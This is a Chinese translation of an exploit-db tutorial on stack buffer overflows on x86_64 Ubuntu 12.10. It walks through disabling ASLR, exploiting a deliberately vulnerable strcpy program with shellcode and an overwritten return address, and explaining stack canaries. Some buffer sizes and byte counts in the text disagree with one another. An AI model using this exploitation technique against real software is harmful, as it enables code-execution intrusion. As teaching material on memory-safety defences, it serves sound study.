现代Linux操作系统的栈溢出(上)

译者注:本文源自《[细节剖析]X Windows中一个22年的漏洞》中提到的一篇文章,即如何溢出有保护机制的linux,路径如下:http://www.exploit-db.com/papers/24085/,本着学习的目的,在学习过程中,翻译出来分享给大家。

另外为了区分Stack和Heap,在本人的所有文章中

“Stack”与“栈”对等

“Heap”与“堆”对等

因为曾经被人坑惨了,有些文章中把“Stack”翻译成“堆栈”,搞得我着实的晕了好久。

前提条件:

对C语言和x86_64有基本的了解。

1. 概述

本文主要向读者展示栈溢出的基础知识并解释目前现代的Linux发型版本的保护机制。基于上述原因,本文选择了最新的Ubuntu(12.10)作为目标机,因为它集成了很多默认的安全机制,并且它很流行易于安装和使用。平台采用的是x86_64。

通过本文读者可以学到在老版本的操作系统上,没有安装保护机制下,栈溢出是如何进行漏洞利用的。本文也将介绍在最新版的Ubuntu(12.10)中,个人保护机制的详情,并且会用一个例子来说明这些机制并不能够阻止栈溢出。溢出栈上的数据结构,从而可以控制程序运行。

虽然现今的漏洞利用方法已经不像过去那样经典的栈溢出方法了,事实上它更像是堆溢出或者是字符串格式化漏洞方法。虽然栈保护(Stack Smashing Protection)被用来阻止栈溢出,但是栈溢出还是会发生的。如果现在本文还未打动你,不用担心,我会在下面介绍更为详细的内容。

2 系统详细信息

有关不同版本的Ubuntu系统采用的默认安全机制情况请参考如下链接:

https://wiki.ubuntu.com/Security/Features

$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gcc
Linux 3.5.0-19-generic x86_64
DISTRIB_DESCRIPTION="Ubuntu 12.10"
gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2

3. 经典栈溢出

让我们回到过去,生活轻松,栈帧在哪里等着被破坏。在栈上不正确的使用数据拷贝方法很容易导致程序被控制。这种情况没有多少保护机制存在的,例子如下所示:

$ cat oldskool.c

#include <string.h>
void go(char *data)
{
    char name[64];
    strcpy(name, data);
}

int main(int argc, char **argv)
{
    go(argv[1]);
}

在测试之前,你需要在系统范围禁用ASLR,你可以按如下步骤来实现:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout

在早期的操作系统中这一保护机制并不存在。因此为了展示这一历史上的例子需要将保护机制禁掉。如果想禁掉其他保护机制,你可以按如下方式编译程序。

$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

看上面的代码,我们发现在栈上有一个64个字节长度的缓冲区,并且第一个命令行参数已经拷贝到这一缓冲区。程序并没有检查参数长度是否大于64个字节,从而允许strcpy函数继续拷贝数据从而超过64个字节长度,进而将数据覆盖到64个字节相邻的栈存储区。这就是栈溢出。

现在为了获取程序的控制权,我们需要利用如下这一技术原理,在调用一个函数前,C程序会将该函数执行完成后下一个将要执行的指令地址压入栈中。()。我们管这个地址叫做返回地址或者是保存的指令指针(Saved Instruction Pointer)。在我们的例子中,保存的指令指针(该指令指针应该是在go函数执行后被执行)保存在紧挨着我们的name[64]数组,为什么会这样,主要是由栈的工作机制决定的。因此,如果用户可以用别的地址(通过命令行参数提供)覆盖这一地址,程序就会开始在此地址处执行。攻击者可以通过拷贝机器码格式的指令到缓冲区中,然后将返回地址指向这些指令,从而实现对程序的劫持。当程序执行完子函数,程序将继续执行攻击者提供的指令。此时攻击者可以让程序做任何事情,无论是为了乐趣还是为了金钱。

闲话少说,让我来给你展示一下,如果你对下面的命令不了解,你可以通过此连接来学习如何使用gdb。

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040053d <+0>:               push   %rbp
   0x000000000040053e <+1>:               mov    %rsp,%rbp
   0x0000000000400541 <+4>:               sub    $0x10,%rsp
   0x0000000000400545 <+8>:               mov    %edi,-0x4(%rbp)
   0x0000000000400548 <+11>:             mov    %rsi,-0x10(%rbp)
   0x000000000040054c <+15>:             mov    -0x10(%rbp),%rax
   0x0000000000400550 <+19>:             add    $0x8,%rax
   0x0000000000400554 <+23>:             mov    (%rax),%rax
   0x0000000000400557 <+26>:             mov    %rax,%rdi
   0x000000000040055a <+29>:             callq  0x40051c
   0x000000000040055f <+34>:              leaveq
   0x0000000000400560 <+35>:             retq
End of assembler dump.
(gdb) break *0x40055a
Breakpoint 1 at 0x40055a: file oldskool.c, line 11.
(gdb) run myname
Starting program: /home/me/.hax/vuln/oldskool myname

Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)
11                go(argv[1]);
(gdb) x/i $rip
=> 0x40055a :          callq  0x40051c
(gdb) i r rsp
rsp            0x7fffffffe0d0               0x7fffffffe0d0
(gdb) si
go (data=0xc2 ) at oldskool.c:4
4              void go(char *data) {
(gdb) i r rsp
rsp            0x7fffffffe0c8               0x7fffffffe0c8
(gdb) x/gx $rsp
0x7fffffffe0c8:         0x000000000040055f

我们在调用go函数前打断点,位置为0x000000000040055a <+29>,然后我们运行程序,启动参数为“myname”,在调用go函数前程序暂停了。我们执行一个指令(si)然后查看栈顶指针(rsp),它现在指向的地址包含了callq函数执行完成后的地址0x000000000040055f <+34>,这一地址就是前文所述的返回地址。

如下展示的是go函数的情况,它会执行“retq”指令,该指令会将该指针出栈,然后执行该指针指向的地址。

(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>:               push   %rbp
   0x000000000040051d <+1>:               mov    %rsp,%rbp
   0x0000000000400520 <+4>:               sub    $0x50,%rsp
   0x0000000000400524 <+8>:               mov    %rdi,-0x48(%rbp)
   0x0000000000400528 <+12>:             mov    -0x48(%rbp),%rdx
   0x000000000040052c <+16>:             lea    -0x40(%rbp),%rax
   0x0000000000400530 <+20>:             mov    %rdx,%rsi
   0x0000000000400533 <+23>:             mov    %rax,%rdi
   0x0000000000400536 <+26>:             callq  0x4003f0
   0x000000000040053b <+31>:             leaveq
   0x000000000040053c <+32>:             retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.

Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8              }
(gdb) x/i $rip
=> 0x40053c :          retq
(gdb) x/gx $rsp
0x7fffffffe0c8:         0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12            }
(gdb) x/gx $rsp
0x7fffffffe0d0:         0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f :          leaveq
(gdb) quit

我们在go函数返回前设置了断点。程序会在执行“retq”指令前暂停下来。我们可以看到栈指针(rsp)会指向main函数中调用go函数完成后的地址。“retq”指令执行后,我们可以发现,程序将返回地址出栈,然后跳转到这一地址执行。现在我们覆盖这一地址,使用perl编程来提供超过32个字节长度的数据。

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x48'`

Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12            }
(gdb) x/i $rip
=> 0x40059c :          retq
(gdb) x/gx $rsp
0x7fffffffe0a8:         0x4141414141414141

我们用perl输出的字符串“AAAA…”共计80个,然后将这一字符串作为参数来启动我们的样例程序。可以看到,当他执行go函数中的“retq”指令时,程序崩溃了,因为这一返回地址被我们用字符“A”(0×41)覆盖了。注意,我们写入的是80个字节(64+8+8),因为在64位机上,指针的长度是8个字节。同时实际上在我们的name缓存和保存的指令指针之间还保存了另外一个指针。

现在我们可以将执行路径重定向到我们期望的任何位置。我们该如何通过此方式使程序执行我们的指令?如果将我们的机器码指令放在name[]缓冲区中然后,用此缓冲区的地址来重写返回地址,那么当当程序执行完go函数,就会继续执行我们的指令(shellcode)。因此我们需要创建一个shellcode并且我们需要知道name[]缓冲区的地址,因为我们需要用这个地址值来重写返回地址。我不会创建真正的shellcode,因为这有点超出了本指南的范围,但是我会用向屏幕上显示一行消息来表示我们的shellcode。可以采用如下方法来确定name[]缓冲区的地址。

(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0

我们可以利用perl通过转义的方式(”\x41”)将不可打印的字符打印到命令行。此外,由于机器采用小端字节序来保存整数和指针,因此我们需要将我们的字节序调整到小端字节序。综上,我们需要写入到返回地址的内容为:

"\xa0\xe0\xff\xff\xff\x7f"

如下为shellcode,他将会向屏幕上输出我们的消息,然后退出。

"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"

注意上述仅仅是机器码的格式,他们可以被perl打印输出。因为上述shellcode是45个字节长度,但是我们要覆盖SIP的话,需要先提供一个72个字节长度的数据,因此我们需要追加27个字节的数据作为填充。因此最终的字符串可以像如下这样。

“\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21” . “A”x27 . “\xa0\xe0\xff\xff\xff\x7f”

当go函数执行完成后,程序会跳转到0x7fffffffe0a0处,这个地址是name[]缓冲区的开始位置,已经填充了我们的机器码。它会执行我们的机器码来输出我们的消息,然后退出程序。让我们来试一下(注意,执行时删除所有的换行符。)

$ ./oldskool `perl -e ` print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"&#039;`
Hax!$

4. 保护机制

欢迎回到2012(译注:本文写于2012年,现在应该说欢迎回到2014)。上述样例不在有效工作了,在我们的ubuntu系统中,这有很多不同的保护机制,而这种类型的漏洞甚至不再以这种形式存在了。栈上的溢出仍然可以发生,仍然有利用他们的方法。这就是在本节中我要介绍给你的,首先来看一下不同的保护方案。

[4.1 栈溢出保护]

在上面的例子中,我们使用了-fno-stack-protector标志来告诉gcc我们不想一栈溢出保护机制进行编译。如果我们不指定这一标志,会发生什么?请注意,这种情况下ASLR重新开启了,一切都被设置为默认值。

$ gcc oldskool.c -o oldskool -g

让我们用gdb看一眼二进制代码,看看发生了什么?

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
   0x000000000040058c <+0>:               push   %rbp
   0x000000000040058d <+1>:               mov    %rsp,%rbp
   0x0000000000400590 <+4>:               sub    $0x60,%rsp
   0x0000000000400594 <+8>:               mov    %rdi,-0x58(%rbp)
   0x0000000000400598 <+12>:             mov    %fs:0x28,%rax
   0x00000000004005a1 <+21>:             mov    %rax,-0x8(%rbp)
   0x00000000004005a5 <+25>:             xor    %eax,%eax
   0x00000000004005a7 <+27>:             mov    -0x58(%rbp),%rdx
   0x00000000004005ab <+31>:             lea    -0x50(%rbp),%rax
   0x00000000004005af <+35>:              mov    %rdx,%rsi
   0x00000000004005b2 <+38>:             mov    %rax,%rdi
   0x00000000004005b5 <+41>:             callq  0x400450
   0x00000000004005ba <+46>:             mov    -0x8(%rbp),%rax
   0x00000000004005be <+50>:             xor    %fs:0x28,%rax
   0x00000000004005c7 <+59>:             je     0x4005ce
   0x00000000004005c9 <+61>:             callq  0x400460 <__stack_chk_fail@plt>
   0x00000000004005ce <+66>:             leaveq
   0x00000000004005cf <+67>:              retq
End of assembler dump.

如果我们看一下go函数的<+12>和<+21>的反编译代码,我们发现数据来自$fs+0×28或者%fs:0×28处。这一地址真正的指向位置并不重要,现在我要说明的是fs指向了由内核维护的结构,而且我们无法通过gdb来查看fs的值。对我们来说更重要的是,这个位置存储了一个我们不可预测的随机值,如下所示,可见用gdb单步运行两次输出的fs值不相同。

(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool

Breakpoint 1, go (data=0x0) at oldskool.c:4
4              void go(char *data) {
(gdb) x/i $rip
=> 0x400598 :          mov    %fs:0x28,%rax
(gdb) si
0x00000000004005a1               4              void go(char *data) {
(gdb) i r rax
rax            0x110279462f20d000     1225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/me/.hax/vuln/oldskool

Breakpoint 1, go (data=0x0) at oldskool.c:4
4              void go(char *data) {
(gdb) si
0x00000000004005a1               4              void go(char *data) {
(gdb) i r rax
rax            0x21f95d1abb2a0800     2448090241843202048

我们在将$fs+0×28的数据项rax中赋值前打断点,然后执行,查看rax的值,然后再重复执行一次,就能发现两次运行时rax中值得不同。从而说明,fs中的数据值在每次运行中都是不同的,意味着攻击者不能准确的预测它。那么这个值是如何用来保护栈的呢?通过go函数中反汇编代码<+21>可以发现数值被拷贝到了栈上,位于-0×8(%rbp)上。我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。(译注:有关金丝雀和矿工,请参考此链接http://blog.sina.com.cn/s/blog_562a622e0100x6t8.html)。与上述情况类似,当栈溢出发生时,金丝雀值将在已保存的指令指针被重写前先挂掉。如果我们看一眼go函数的<46>和<50>行汇编代码,我们看到会从栈中读那个值与原有值比较,如果这两个值一致,金丝雀(canary)没有被修改,从而认为保存的指令指针也没有被修改,进而允许函数正常的返回。如果金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会做些魔术,然后丢出一个错误退出进程。如下所示:

$ ./oldskool `perl -e &#039;print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)

回顾上面,缓冲区溢出了,而且数据覆盖了金丝雀值(canary)和保存的指令指针。然而,在覆盖SIP之前,程序发现金丝雀(canary)值被篡改了,然后就安全的退出了。现在,坏消息是在这种情况下,攻击者没有什么好的方法。你可能会想到暴力破解金丝雀(canar)的值,但是在这种情况下,金丝雀的值在每次程序运行时都是不同的,只有极端幸运的时候才能猜中金丝雀的值。那样会花费些时间,而且并不隐蔽。好消息是,在很多情况下,上述保护机制并不足以阻止漏洞利用。例如,栈中的金丝雀仅仅用来保护SIP,但并未保护应用变量,这会导致另外一种可利用条件,后面会展示。oldskool程序的溢出方法在这种保护机制前,已经不再有效了。

现代Linux操作系统的栈溢出(上):等您发表观点!

发表评论


快捷键:Ctrl+Enter